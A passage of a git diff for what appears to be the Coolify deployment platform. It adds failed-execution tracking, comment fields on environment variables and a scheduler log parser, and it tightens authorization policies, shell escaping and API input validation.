$server?->id, + 'team_id' => $backup?->team_id, + 'created_at' => $execution->created_at, + 'finished_at' => $execution->updated_at, + 'message' => $execution->message, + 'size' => $execution->size ?? null, + ]; + }); + } + + private function getTaskExecutions(?Carbon $dateFrom, ?int $teamId): Collection + { + $query = ScheduledTaskExecution::with(['scheduledTask.application', 'scheduledTask.service']) + ->where('status', 'failed') + ->when($dateFrom, fn ($q) => $q->where('created_at', '>=', $dateFrom)) + ->when($teamId, function ($q) use ($teamId) { + $q->where(function ($sub) use ($teamId) { + $sub->whereRelation('scheduledTask.application.environment.project.team', 'id', $teamId) + ->orWhereRelation('scheduledTask.service.environment.project.team', 'id', $teamId); + }); + }) + ->orderBy('created_at', 'desc') + ->limit(100) + ->get(); + + return $query->map(function ($execution) { + $task = $execution->scheduledTask; + $resource = $task?->application ?? $task?->service; + $server = $task?->server(); + $teamId = $server?->team_id; + + return [ + 'id' => $execution->id, + 'type' => 'task', + 'status' => $execution->status ?? 'unknown', + 'resource_name' => $task?->name ?? 'Deleted task', + 'resource_type' => $resource ? class_basename($resource) : null, + 'server_name' => $server?->name ?? 'Unknown', + 'server_id' => $server?->id, + 'team_id' => $teamId, + 'created_at' => $execution->created_at, + 'finished_at' => $execution->finished_at, + 'message' => $execution->message, + 'size' => null, + ]; + }); + } + + private function getCleanupExecutions(?Carbon $dateFrom, ?int $teamId): Collection + { + $query = DockerCleanupExecution::with(['server']) + ->where('status', 'failed') + ->when($dateFrom, fn ($q) => $q->where('created_at', '>=', $dateFrom)) + ->when($teamId, fn ($q) => $q->whereRelation('server', 'team_id', $teamId)) + ->orderBy('created_at', 'desc') + ->limit(100) + ->get(); + + return $query->map(function ($execution) { + $server = $execution->server; + + return [ + 'id' => $execution->id, + 'type' => 'cleanup', + 'status' => $execution->status ?? 'unknown', + 'resource_name' => $server?->name ?? 'Deleted server', + 'resource_type' => 'Server', + 'server_name' => $server?->name ?? 'Unknown', + 'server_id' => $server?->id, + 'team_id' => $server?->team_id, + 'created_at' => $execution->created_at, + 'finished_at' => $execution->finished_at ?? $execution->updated_at, + 'message' => $execution->message, + 'size' => null, + ]; + }); + } + + private function getDateFrom(): ?Carbon + { + return match ($this->filterDate) { + 'last_24h' => now()->subDay(), + 'last_7d' => now()->subWeek(), + 'last_30d' => now()->subMonth(), + default => null, + }; + } +} diff --git a/app/Livewire/SharedVariables/Environment/Show.php b/app/Livewire/SharedVariables/Environment/Show.php index 0bdc1503f..e1b230218 100644 --- a/app/Livewire/SharedVariables/Environment/Show.php +++ b/app/Livewire/SharedVariables/Environment/Show.php @@ -40,6 +40,7 @@ public function saveKey($data) 'value' => $data['value'], 'is_multiline' => $data['is_multiline'], 'is_literal' => $data['is_literal'], + 'comment' => $data['comment'] ?? null, 'type' => 'environment', 'team_id' => currentTeam()->id, ]); diff --git a/app/Livewire/SharedVariables/Project/Show.php b/app/Livewire/SharedVariables/Project/Show.php index b205ea1ec..1f304b543 100644 --- a/app/Livewire/SharedVariables/Project/Show.php +++ b/app/Livewire/SharedVariables/Project/Show.php @@ -33,6 +33,7 @@ public function saveKey($data) 'value' => $data['value'], 'is_multiline' => $data['is_multiline'], 'is_literal' => $data['is_literal'], + 'comment' => $data['comment'] ?? null, 'type' => 'project', 'team_id' => currentTeam()->id, ]); diff --git a/app/Livewire/SharedVariables/Team/Index.php b/app/Livewire/SharedVariables/Team/Index.php index e420686f0..75fd415e1 100644 --- a/app/Livewire/SharedVariables/Team/Index.php +++ b/app/Livewire/SharedVariables/Team/Index.php @@ -33,6 +33,7 @@ public function saveKey($data) 'value' => $data['value'], 'is_multiline' => $data['is_multiline'], 'is_literal' => $data['is_literal'], + 'comment' => $data['comment'] ?? null, 'type' => 'team', 'team_id' => currentTeam()->id, ]); diff --git a/app/Models/Application.php b/app/Models/Application.php index d6c222a97..a239c34db 100644 --- a/app/Models/Application.php +++ b/app/Models/Application.php @@ -61,6 +61,8 @@ 'health_check_timeout' => ['type' => 'integer', 'description' => 'Health check timeout in seconds.'], 'health_check_retries' => ['type' => 'integer', 'description' => 'Health check retries count.'], 'health_check_start_period' => ['type' => 'integer', 'description' => 'Health check start period in seconds.'], + 'health_check_type' => ['type' => 'string', 'description' => 'Health check type: http or cmd.', 'enum' => ['http', 'cmd']], + 'health_check_command' => ['type' => 'string', 'nullable' => true, 'description' => 'Health check command for CMD type.'], 'limits_memory' => ['type' => 'string', 'description' => 'Memory limit.'], 'limits_memory_swap' => ['type' => 'string', 'description' => 'Memory swap limit.'], 'limits_memory_swappiness' => ['type' => 'integer', 'description' => 'Memory swappiness.'], @@ -990,7 +992,7 @@ public function deploymentType() if (isDev() && data_get($this, 'private_key_id') === 0) { return 'deploy_key'; } - if (data_get($this, 'private_key_id')) { + if (! is_null(data_get($this, 'private_key_id'))) { return 'deploy_key'; } elseif (data_get($this, 'source')) { return 'source'; @@ -1959,16 +1961,6 @@ public function parseHealthcheckFromDockerfile($dockerfile, bool $isInit = false } } - public static function getDomainsByUuid(string $uuid): array - { - $application = self::where('uuid', $uuid)->first(); - - if ($application) { - return $application->fqdns; - } - - return []; - } public function getLimits(): array { diff --git a/app/Models/EnvironmentVariable.php b/app/Models/EnvironmentVariable.php index 4f1e277e4..0a004f765 100644 --- a/app/Models/EnvironmentVariable.php +++ b/app/Models/EnvironmentVariable.php @@ -24,6 +24,7 @@ 'key' => ['type' => 'string'], 'value' => ['type' => 'string'], 'real_value' => ['type' => 'string'], + 'comment' => ['type' => 'string', 'nullable' => true], 'version' => ['type' => 'string'], 'created_at' => ['type' => 'string'], 'updated_at' => ['type' => 'string'], @@ -31,7 +32,30 @@ )] class EnvironmentVariable extends BaseModel { - protected $guarded = []; + protected $fillable = [ + // Core identification + 'key', + 'value', + 'comment', + + // Polymorphic relationship + 'resourceable_type', + 'resourceable_id', + + // Boolean flags + 'is_preview', + 'is_multiline', + 'is_literal', + 'is_runtime', + 'is_buildtime', + 'is_shown_once', + 'is_shared', + 'is_required', + + // Metadata + 'version', + 'order', + ]; protected $casts = [ 'key' => 'string', @@ -67,6 +91,7 @@ protected static function booted() 'is_literal' => $environment_variable->is_literal ?? false, 'is_runtime' => $environment_variable->is_runtime ?? false, 'is_buildtime' => $environment_variable->is_buildtime ?? false, + 'comment' => $environment_variable->comment, 'resourceable_type' => Application::class, 'resourceable_id' => $environment_variable->resourceable_id, 'is_preview' => true, diff --git a/app/Models/PrivateKey.php b/app/Models/PrivateKey.php index bb76d5ed6..7163ae7b5 100644 --- a/app/Models/PrivateKey.php +++ b/app/Models/PrivateKey.php @@ -237,7 +237,7 @@ protected function ensureStorageDirectoryExists() $testSuccess = $disk->put($testFilename, 'test'); if (! $testSuccess) { - throw new \Exception('SSH keys storage directory is not writable'); + throw new \Exception('SSH keys storage directory is not writable. Run on the host: sudo chown -R 9999 /data/coolify/ssh && sudo chmod -R 700 /data/coolify/ssh && docker restart coolify'); } // Clean up test file diff --git a/app/Models/ScheduledTask.php b/app/Models/ScheduledTask.php index bada0b7a5..272638a81 100644 --- a/app/Models/ScheduledTask.php +++ b/app/Models/ScheduledTask.php @@ -5,13 +5,35 @@ use App\Traits\HasSafeStringAttribute; use Illuminate\Database\Eloquent\Relations\HasMany; use Illuminate\Database\Eloquent\Relations\HasOne; +use OpenApi\Attributes as OA; +#[OA\Schema( + description: 'Scheduled Task model', + type: 'object', + properties: [ + 'id' => ['type' => 'integer', 'description' => 'The unique identifier of the scheduled task in the database.'], + 'uuid' => ['type' => 'string', 'description' => 'The unique identifier of the scheduled task.'], + 'enabled' => ['type' => 'boolean', 'description' => 'The flag to indicate if the scheduled task is enabled.'], + 'name' => ['type' => 'string', 'description' => 'The name of the scheduled task.'], + 'command' => ['type' => 'string', 'description' => 'The command to execute.'], + 'frequency' => ['type' => 'string', 'description' => 'The frequency of the scheduled task.'], + 'container' => ['type' => 'string', 'nullable' => true, 'description' => 'The container where the command should be executed.'], + 'timeout' => ['type' => 'integer', 'description' => 'The timeout of the scheduled task in seconds.'], + 'created_at' => ['type' => 'string', 'format' => 'date-time', 'description' => 'The date and time when the scheduled task was created.'], + 'updated_at' => ['type' => 'string', 'format' => 'date-time', 'description' => 'The date and time when the scheduled task was last updated.'], + ], +)] class ScheduledTask extends BaseModel { use HasSafeStringAttribute; protected $guarded = []; + public static function ownedByCurrentTeamAPI(int $teamId) + { + return static::where('team_id', $teamId)->orderBy('created_at', 'desc'); + } + protected function casts(): array { return [ diff --git a/app/Models/ScheduledTaskExecution.php b/app/Models/ScheduledTaskExecution.php index 02fd6917a..c0601a4c9 100644 --- a/app/Models/ScheduledTaskExecution.php +++ b/app/Models/ScheduledTaskExecution.php @@ -3,7 +3,23 @@ namespace App\Models; use Illuminate\Database\Eloquent\Relations\BelongsTo; +use OpenApi\Attributes as OA; +#[OA\Schema( + description: 'Scheduled Task Execution model', + type: 'object', + properties: [ + 'uuid' => ['type' => 'string', 'description' => 'The unique identifier of the execution.'], + 'status' => ['type' => 'string', 'enum' => ['success', 'failed', 'running'], 'description' => 'The status of the execution.'], + 'message' => ['type' => 'string', 'nullable' => true, 'description' => 'The output message of the execution.'], + 'retry_count' => ['type' => 'integer', 'description' => 'The number of retries.'], + 'duration' => ['type' => 'number', 'nullable' => true, 'description' => 'Duration in seconds.'], + 'started_at' => ['type' => 'string', 'format' => 'date-time', 'nullable' => true, 'description' => 'When the execution started.'], + 'finished_at' => ['type' => 'string', 'format' => 'date-time', 'nullable' => true, 'description' => 'When the execution finished.'], + 'created_at' => ['type' => 'string', 'format' => 'date-time', 'description' => 'When the record was created.'], + 'updated_at' => ['type' => 'string', 'format' => 'date-time', 'description' => 'When the record was last updated.'], + ], +)] class ScheduledTaskExecution extends BaseModel { protected $guarded = []; diff --git a/app/Models/Server.php b/app/Models/Server.php index d693aea6d..49d9c3289 100644 --- a/app/Models/Server.php +++ b/app/Models/Server.php @@ -1452,12 +1452,14 @@ public function generateCaCertificate() $certificateContent = $caCertificate->ssl_certificate; $caCertPath = config('constants.coolify.base_config_path').'/ssl/'; + $base64Cert = base64_encode($certificateContent); + $commands = collect([ "mkdir -p $caCertPath", "chown -R 9999:root $caCertPath", "chmod -R 700 $caCertPath", "rm -rf $caCertPath/coolify-ca.crt", - "echo '{$certificateContent}' > $caCertPath/coolify-ca.crt", + "echo '{$base64Cert}' | base64 -d | tee $caCertPath/coolify-ca.crt > /dev/null", "chmod 644 $caCertPath/coolify-ca.crt", ]); diff --git a/app/Models/ServiceApplication.php b/app/Models/ServiceApplication.php index 7b8b46812..4bf78085e 100644 --- a/app/Models/ServiceApplication.php +++ b/app/Models/ServiceApplication.php @@ -88,7 +88,7 @@ public function type() public function team() { - return data_get($this, 'environment.project.team'); + return data_get($this, 'service.environment.project.team'); } public function workdir() diff --git a/app/Models/ServiceDatabase.php b/app/Models/ServiceDatabase.php index f6a39cfe4..7b0abe59e 100644 --- a/app/Models/ServiceDatabase.php +++ b/app/Models/ServiceDatabase.php @@ -124,7 +124,7 @@ public function getServiceDatabaseUrl() public function team() { - return data_get($this, 'environment.project.team'); + return data_get($this, 'service.environment.project.team'); } public function workdir() diff --git a/app/Models/SharedEnvironmentVariable.php b/app/Models/SharedEnvironmentVariable.php index 7956f006a..9bd42c328 100644 --- a/app/Models/SharedEnvironmentVariable.php +++ b/app/Models/SharedEnvironmentVariable.php @@ -6,7 +6,23 @@ class SharedEnvironmentVariable extends Model { - protected $guarded = []; + protected $fillable = [ + // Core identification + 'key', + 'value', + 'comment', + + // Type and relationships + 'type', + 'team_id', + 'project_id', + 'environment_id', + + // Boolean flags + 'is_multiline', + 'is_literal', + 'is_shown_once', + ]; protected $casts = [ 'key' => 'string', diff --git a/app/Models/Team.php b/app/Models/Team.php index 5cb186942..e32526169 100644 --- a/app/Models/Team.php +++ b/app/Models/Team.php @@ -191,7 +191,8 @@ public function isAnyNotificationEnabled() $this->getNotificationSettings('discord')?->isEnabled() || $this->getNotificationSettings('slack')?->isEnabled() || $this->getNotificationSettings('telegram')?->isEnabled() || - $this->getNotificationSettings('pushover')?->isEnabled(); + $this->getNotificationSettings('pushover')?->isEnabled() || + $this->getNotificationSettings('webhook')?->isEnabled(); } public function subscriptionEnded() diff --git a/app/Policies/StandaloneDockerPolicy.php b/app/Policies/StandaloneDockerPolicy.php index 154648599..3e1f83d12 100644 --- a/app/Policies/StandaloneDockerPolicy.php +++ b/app/Policies/StandaloneDockerPolicy.php @@ -37,8 +37,7 @@ public function create(User $user): bool */ public function update(User $user, StandaloneDocker $standaloneDocker): bool { - // return $user->isAdmin() && $user->teams->contains('id', $standaloneDocker->server->team_id); - return true; + return $user->teams->contains('id', $standaloneDocker->server->team_id); } /** @@ -46,8 +45,7 @@ public function update(User $user, StandaloneDocker $standaloneDocker): bool */ public function delete(User $user, StandaloneDocker $standaloneDocker): bool { - // return $user->isAdmin() && $user->teams->contains('id', $standaloneDocker->server->team_id); - return true; + return $user->teams->contains('id', $standaloneDocker->server->team_id); } /** @@ -55,8 +53,7 @@ public function delete(User $user, StandaloneDocker $standaloneDocker): bool */ public function restore(User $user, StandaloneDocker $standaloneDocker): bool { - // return false; - return true; + return false; } /** @@ -64,7 +61,6 @@ public function restore(User $user, StandaloneDocker $standaloneDocker): bool */ public function forceDelete(User $user, StandaloneDocker $standaloneDocker): bool { - // return false; - return true; + return false; } } diff --git a/app/Policies/SwarmDockerPolicy.php b/app/Policies/SwarmDockerPolicy.php index 979bb5889..82a75910b 100644 --- a/app/Policies/SwarmDockerPolicy.php +++ b/app/Policies/SwarmDockerPolicy.php @@ -37,8 +37,7 @@ public function create(User $user): bool */ public function update(User $user, SwarmDocker $swarmDocker): bool { - // return $user->isAdmin() && $user->teams->contains('id', $swarmDocker->server->team_id); - return true; + return $user->teams->contains('id', $swarmDocker->server->team_id); } /** @@ -46,8 +45,7 @@ public function update(User $user, SwarmDocker $swarmDocker): bool */ public function delete(User $user, SwarmDocker $swarmDocker): bool { - // return $user->isAdmin() && $user->teams->contains('id', $swarmDocker->server->team_id); - return true; + return $user->teams->contains('id', $swarmDocker->server->team_id); } /** @@ -55,8 +53,7 @@ public function delete(User $user, SwarmDocker $swarmDocker): bool */ public function restore(User $user, SwarmDocker $swarmDocker): bool { - // return false; - return true; + return false; } /** @@ -64,7 +61,6 @@ public function restore(User $user, SwarmDocker $swarmDocker): bool */ public function forceDelete(User $user, SwarmDocker $swarmDocker): bool { - // return false; - return true; + return false; } } diff --git a/app/Services/SchedulerLogParser.php b/app/Services/SchedulerLogParser.php new file mode 100644 index 000000000..6e29851df --- /dev/null +++ b/app/Services/SchedulerLogParser.php @@ -0,0 +1,188 @@ + + */ + public function getRecentSkips(int $limit = 100, ?int $teamId = null): Collection + { + $logFiles = $this->getLogFiles(); + + $skips = collect(); + + foreach ($logFiles as $logFile) { + $lines = $this->readLastLines($logFile, 2000); + + foreach ($lines as $line) { + $entry = $this->parseLogLine($line); + if ($entry === null || ! isset($entry['context']['skip_reason'])) { + continue; + } + + if ($teamId !== null && ($entry['context']['team_id'] ?? null) !== $teamId) { + continue; + } + + $skips->push([ + 'timestamp' => $entry['timestamp'], + 'type' => $entry['context']['type'] ?? 'unknown', + 'reason' => $entry['context']['skip_reason'], + 'team_id' => $entry['context']['team_id'] ?? null, + 'context' => $entry['context'], + ]); + } + } + + return $skips->sortByDesc('timestamp')->values()->take($limit); + } + + /** + * Get recent manager execution logs (start/complete events). + * + * @return Collection + */ + public function getRecentRuns(int $limit = 60, ?int $teamId = null): Collection + { + $logFiles = $this->getLogFiles(); + + $runs = collect(); + + foreach ($logFiles as $logFile) { + $lines = $this->readLastLines($logFile, 2000); + + foreach ($lines as $line) { + $entry = $this->parseLogLine($line); + if ($entry === null) { + continue; + } + + if (! str_contains($entry['message'], 'ScheduledJobManager') || str_contains($entry['message'], 'started')) { + continue; + } + + $runs->push([ + 'timestamp' => $entry['timestamp'], + 'message' => $entry['message'], + 'duration_ms' => $entry['context']['duration_ms'] ?? null, + 'dispatched' => $entry['context']['dispatched'] ?? null, + 'skipped' => $entry['context']['skipped'] ?? null, + ]); + } + } + + return $runs->sortByDesc('timestamp')->values()->take($limit); + } + + private function getLogFiles(): array + { + $logDir = storage_path('logs'); + if (! File::isDirectory($logDir)) { + return []; + } + + $files = File::glob($logDir.'/scheduled-*.log'); + + // Sort by modification time, newest first + usort($files, fn ($a, $b) => filemtime($b) - filemtime($a)); + + // Only check last 3 days of logs + return array_slice($files, 0, 3); + } + + /** + * @return array{timestamp: string, level: string, message: string, context: array}|null + */ + private function parseLogLine(string $line): ?array + { + // Laravel daily log format: [2024-01-15 10:30:00] production.INFO: Message {"key":"value"} + if (! preg_match('/^\[(\d{4}-\d{2}-\d{2} \d{2}:\d{2}:\d{2})\] \w+\.(\w+): (.+)$/', $line, $matches)) { + return null; + } + + $timestamp = $matches[1]; + $level = $matches[2]; + $rest = $matches[3]; + + // Extract JSON context if present + $context = []; + if (preg_match('/^(.+?)\s+(\{.+\})\s*$/', $rest, $contextMatches)) { + $message = $contextMatches[1]; + $decoded = json_decode($contextMatches[2], true); + if (is_array($decoded)) { + $context = $decoded; + } + } else { + $message = $rest; + } + + return [ + 'timestamp' => $timestamp, + 'level' => $level, + 'message' => $message, + 'context' => $context, + ]; + } + + /** + * Efficiently read the last N lines of a file. + * + * @return string[] + */ + private function readLastLines(string $filePath, int $lines): array + { + if (! File::exists($filePath)) { + return []; + } + + $fileSize = File::size($filePath); + if ($fileSize === 0) { + return []; + } + + // For small files, read the whole thing + if ($fileSize < 1024 * 1024) { + $content = File::get($filePath); + + return array_filter(explode("\n", $content), fn ($line) => $line !== ''); + } + + // For large files, read from the end + $handle = fopen($filePath, 'r'); + if ($handle === false) { + return []; + } + + $result = []; + $chunkSize = 8192; + $buffer = ''; + $position = $fileSize; + + while ($position > 0 && count($result) < $lines) { + $readSize = min($chunkSize, $position); + $position -= $readSize; + fseek($handle, $position); + $buffer = fread($handle, $readSize).$buffer; + + $bufferLines = explode("\n", $buffer); + $buffer = array_shift($bufferLines); + + $result = array_merge(array_filter($bufferLines, fn ($line) => $line !== ''), $result); + } + + if ($buffer !== '' && count($result) < $lines) { + array_unshift($result, $buffer); + } + + fclose($handle); + + return array_slice($result, -$lines); + } +} diff --git a/app/Traits/SshRetryable.php b/app/Traits/SshRetryable.php index a26481056..2092dc5f3 100644 --- a/app/Traits/SshRetryable.php +++ b/app/Traits/SshRetryable.php @@ -95,9 +95,6 @@ protected function executeWithSshRetry(callable $callback, array $context = [], if ($this->isRetryableSshError($lastErrorMessage) && $attempt < $maxRetries - 1) { $delay = $this->calculateRetryDelay($attempt); - // Track SSH retry event in Sentry - $this->trackSshRetryEvent($attempt + 1, $maxRetries, $delay, $lastErrorMessage, $context); - // Add deployment log if available (for ExecuteRemoteCommand trait) if (isset($this->application_deployment_queue) && method_exists($this, 'addRetryLogEntry')) { $this->addRetryLogEntry($attempt + 1, $maxRetries, $delay, $lastErrorMessage); @@ -133,42 +130,4 @@ protected function executeWithSshRetry(callable $callback, array $context = [], return null; } - - /** - * Track SSH retry event in Sentry - */ - protected function trackSshRetryEvent(int $attempt, int $maxRetries, int $delay, string $errorMessage, array $context = []): void - { - // Only track in production/cloud instances - if (isDev() || ! config('constants.sentry.sentry_dsn')) { - return; - } - - try { - app('sentry')->captureMessage( - 'SSH connection retry triggered', - \Sentry\Severity::warning(), - [ - 'extra' => [ - 'attempt' => $attempt, - 'max_retries' => $maxRetries, - 'delay_seconds' => $delay, - 'error_message' => $errorMessage, - 'context' => $context, - 'retryable_error' => true, - ], - 'tags' => [ - 'component' => 'ssh_retry', - 'error_type' => 'connection_retry', - ], - ] - ); - } catch (\Throwable $e) { - // Don't let Sentry tracking errors break the SSH retry flow - Log::warning('Failed to track SSH retry event in Sentry', [ - 'error' => $e->getMessage(), - 'original_attempt' => $attempt, - ]); - } - } } diff --git a/bootstrap/helpers/api.php b/bootstrap/helpers/api.php index d5c2c996b..edb1e59a1 100644 --- a/bootstrap/helpers/api.php +++ b/bootstrap/helpers/api.php @@ -104,12 +104,14 @@ function sharedDataApplications() 'base_directory' => 'string|nullable', 'publish_directory' => 'string|nullable', 'health_check_enabled' => 'boolean', - 'health_check_path' => 'string', - 'health_check_port' => 'string|nullable', - 'health_check_host' => 'string', - 'health_check_method' => 'string', + 'health_check_type' => 'string|in:http,cmd', + 'health_check_command' => ['nullable', 'string', 'max:1000', 'regex:/^[a-zA-Z0-9 \-_.\/:=@,+]+$/'], + 'health_check_path' => ['string', 'regex:#^[a-zA-Z0-9/\-_.~%]+$#'], + 'health_check_port' => 'integer|nullable|min:1|max:65535', + 'health_check_host' => ['string', 'regex:/^[a-zA-Z0-9.\-_]+$/'], + 'health_check_method' => 'string|in:GET,HEAD,POST,OPTIONS', 'health_check_return_code' => 'numeric', - 'health_check_scheme' => 'string', + 'health_check_scheme' => 'string|in:http,https', 'health_check_response_text' => 'string|nullable', 'health_check_interval' => 'numeric', 'health_check_timeout' => 'numeric', @@ -132,8 +134,8 @@ function sharedDataApplications() 'manual_webhook_secret_gitlab' => 'string|nullable', 'manual_webhook_secret_bitbucket' => 'string|nullable', 'manual_webhook_secret_gitea' => 'string|nullable', - 'dockerfile_location' => 'string|nullable', - 'docker_compose_location' => 'string', + 'dockerfile_location' => ['string', 'nullable', 'max:255', 'regex:/^\/[a-zA-Z0-9._\-\/]+$/'], + 'docker_compose_location' => ['string', 'nullable', 'max:255', 'regex:/^\/[a-zA-Z0-9._\-\/]+$/'], 'docker_compose' => 'string|nullable', 'docker_compose_domains' => 'array|nullable', 'docker_compose_custom_start_command' => 'string|nullable', diff --git a/bootstrap/helpers/applications.php b/bootstrap/helpers/applications.php index 03c53989c..c522cd0ca 100644 --- a/bootstrap/helpers/applications.php +++ b/bootstrap/helpers/applications.php @@ -191,6 +191,10 @@ function clone_application(Application $source, $destination, array $overrides = $uuid = $overrides['uuid'] ?? (string) new Cuid2; $server = $destination->server; + if ($server->team_id !== currentTeam()->id) { + throw new \RuntimeException('Destination does not belong to the current team.'); + } + // Prepare name and URL $name = $overrides['name'] ?? 'clone-of-'.str($source->name)->limit(20).'-'.$uuid; $applicationSettings = $source->settings; diff --git a/bootstrap/helpers/docker.php b/bootstrap/helpers/docker.php index 8212f9dc6..77e8b7b07 100644 --- a/bootstrap/helpers/docker.php +++ b/bootstrap/helpers/docker.php @@ -139,8 +139,9 @@ function checkMinimumDockerEngineVersion($dockerVersion) } function executeInDocker(string $containerId, string $command) { - return "docker exec {$containerId} bash -c '{$command}'"; - // return "docker exec {$this->deployment_uuid} bash -c '{$command} |& tee -a /proc/1/fd/1; [ \$PIPESTATUS -eq 0 ] || exit \$PIPESTATUS'"; + $escapedCommand = str_replace("'", "'\\''", $command); + + return "docker exec {$containerId} bash -c '{$escapedCommand}'"; } function getContainerStatus(Server $server, string $container_id, bool $all_data = false, bool $throwError = false) diff --git a/bootstrap/helpers/parsers.php b/bootstrap/helpers/parsers.php index 43ba58e59..fa40857ac 100644 --- a/bootstrap/helpers/parsers.php +++ b/bootstrap/helpers/parsers.php @@ -998,53 +998,139 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int } else { if ($value->startsWith('$')) { $isRequired = false; - if ($value->contains(':-')) { - $value = replaceVariables($value); - $key = $value->before(':'); - $value = $value->after(':-'); - } elseif ($value->contains('-')) { - $value = replaceVariables($value); - $key = $value->before('-'); - $value = $value->after('-'); - } elseif ($value->contains(':?')) { - $value = replaceVariables($value); + // Extract variable content between ${...} using balanced brace matching + $result = extractBalancedBraceContent($value->value(), 0); - $key = $value->before(':'); - $value = $value->after(':?'); - $isRequired = true; - } elseif ($value->contains('?')) { - $value = replaceVariables($value); + if ($result !== null) { + $content = $result['content']; + $split = splitOnOperatorOutsideNested($content); - $key = $value->before('?'); - $value = $value->after('?'); - $isRequired = true; - } - if ($originalValue->value() === $value->value()) { - // This means the variable does not have a default value, so it needs to be created in Coolify - $parsedKeyValue = replaceVariables($value); + if ($split !== null) { + // Has default value syntax (:-, -, :?, or ?) + $varName = $split['variable']; + $operator = $split['operator']; + $defaultValue = $split['default']; + $isRequired = str_contains($operator, '?'); + + // Create the primary variable with its default (only if it doesn't exist) + $envVar = $resource->environment_variables()->firstOrCreate([ + 'key' => $varName, + 'resourceable_type' => get_class($resource), + 'resourceable_id' => $resource->id, + ], [ + 'value' => $defaultValue, + 'is_preview' => false, + 'is_required' => $isRequired, + ]); + + // Add the variable to the environment so it will be shown in the deployable compose file + $environment[$varName] = $envVar->value; + + // Recursively process nested variables in default value + if (str_contains($defaultValue, '${')) { + $searchPos = 0; + $nestedResult = extractBalancedBraceContent($defaultValue, $searchPos); + while ($nestedResult !== null) { + $nestedContent = $nestedResult['content']; + $nestedSplit = splitOnOperatorOutsideNested($nestedContent); + + // Determine the nested variable name + $nestedVarName = $nestedSplit !== null ? $nestedSplit['variable'] : $nestedContent; + + // Skip SERVICE_URL_* and SERVICE_FQDN_* variables - they are handled by magic variable system + $isMagicVariable = str_starts_with($nestedVarName, 'SERVICE_URL_') || str_starts_with($nestedVarName, 'SERVICE_FQDN_'); + + if (! $isMagicVariable) { + if ($nestedSplit !== null) { + $nestedEnvVar = $resource->environment_variables()->firstOrCreate([ + 'key' => $nestedSplit['variable'], + 'resourceable_type' => get_class($resource), + 'resourceable_id' => $resource->id, + ], [ + 'value' => $nestedSplit['default'], + 'is_preview' => false, + ]); + $environment[$nestedSplit['variable']] = $nestedEnvVar->value; + } else { + $nestedEnvVar = $resource->environment_variables()->firstOrCreate([ + 'key' => $nestedContent, + 'resourceable_type' => get_class($resource), + 'resourceable_id' => $resource->id, + ], [ + 'is_preview' => false, + ]); + $environment[$nestedContent] = $nestedEnvVar->value; + } + } + + $searchPos = $nestedResult['end'] + 1; + if ($searchPos >= strlen($defaultValue)) { + break; + } + $nestedResult = extractBalancedBraceContent($defaultValue, $searchPos); + } + } + } else { + // Simple variable reference without default + $parsedKeyValue = replaceVariables($value); + $resource->environment_variables()->firstOrCreate([ + 'key' => $content, + 'resourceable_type' => get_class($resource), + 'resourceable_id' => $resource->id, + ], [ + 'is_preview' => false, + 'is_required' => $isRequired, + ]); + // Add the variable to the environment + $environment[$content] = $value; + } + } else { + // Fallback to old behavior for malformed input (backward compatibility) + if ($value->contains(':-')) { + $value = replaceVariables($value); + $key = $value->before(':'); + $value = $value->after(':-'); + } elseif ($value->contains('-')) { + $value = replaceVariables($value); + $key = $value->before('-'); + $value = $value->after('-'); + } elseif ($value->contains(':?')) { + $value = replaceVariables($value); + $key = $value->before(':'); + $value = $value->after(':?'); + $isRequired = true; + } elseif ($value->contains('?')) { + $value = replaceVariables($value); + $key = $value->before('?'); + $value = $value->after('?'); + $isRequired = true; + } + if ($originalValue->value() === $value->value()) { + // This means the variable does not have a default value + $parsedKeyValue = replaceVariables($value); + $resource->environment_variables()->firstOrCreate([ + 'key' => $parsedKeyValue, + 'resourceable_type' => get_class($resource), + 'resourceable_id' => $resource->id, + ], [ + 'is_preview' => false, + 'is_required' => $isRequired, + ]); + $environment[$parsedKeyValue->value()] = $value; + + continue; + } $resource->environment_variables()->firstOrCreate([ - 'key' => $parsedKeyValue, + 'key' => $key, 'resourceable_type' => get_class($resource), 'resourceable_id' => $resource->id, ], [ + 'value' => $value, 'is_preview' => false, 'is_required' => $isRequired, ]); - // Add the variable to the environment so it will be shown in the deployable compose file - $environment[$parsedKeyValue->value()] = $value; - - continue; } - $resource->environment_variables()->firstOrCreate([ - 'key' => $key, - 'resourceable_type' => get_class($resource), - 'resourceable_id' => $resource->id, - ], [ - 'value' => $value, - 'is_preview' => false, - 'is_required' => $isRequired, - ]); } } } @@ -1233,7 +1319,7 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int $serviceLabels = $serviceLabels->merge(fqdnLabelsForTraefik( uuid: $uuid, domains: $fqdns, - is_force_https_enabled: true, + is_force_https_enabled: $originalResource->isForceHttpsEnabled(), serviceLabels: $serviceLabels, is_gzip_enabled: $originalResource->isGzipEnabled(), is_stripprefix_enabled: $originalResource->isStripprefixEnabled(), @@ -1246,7 +1332,7 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int network: $network, uuid: $uuid, domains: $fqdns, - is_force_https_enabled: true, + is_force_https_enabled: $originalResource->isForceHttpsEnabled(), serviceLabels: $serviceLabels, is_gzip_enabled: $originalResource->isGzipEnabled(), is_stripprefix_enabled: $originalResource->isStripprefixEnabled(), @@ -1260,7 +1346,7 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int $serviceLabels = $serviceLabels->merge(fqdnLabelsForTraefik( uuid: $uuid, domains: $fqdns, - is_force_https_enabled: true, + is_force_https_enabled: $originalResource->isForceHttpsEnabled(), serviceLabels: $serviceLabels, is_gzip_enabled: $originalResource->isGzipEnabled(), is_stripprefix_enabled: $originalResource->isStripprefixEnabled(), @@ -1271,7 +1357,7 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int network: $network, uuid: $uuid, domains: $fqdns, - is_force_https_enabled: true, + is_force_https_enabled: $originalResource->isForceHttpsEnabled(), serviceLabels: $serviceLabels, is_gzip_enabled: $originalResource->isGzipEnabled(), is_stripprefix_enabled: $originalResource->isStripprefixEnabled(), @@ -1411,6 +1497,9 @@ function serviceParser(Service $resource): Collection return collect([]); } + // Extract inline comments from raw YAML before Symfony parser discards them + $envComments = extractYamlEnvironmentComments($compose); + $server = data_get($resource, 'server'); $allServices = get_service_templates(); @@ -1694,51 +1783,60 @@ function serviceParser(Service $resource): Collection } // ALWAYS create BOTH base SERVICE_URL and SERVICE_FQDN pairs (without port) + $fqdnKey = "SERVICE_FQDN_{$serviceName}"; $resource->environment_variables()->updateOrCreate([ - 'key' => 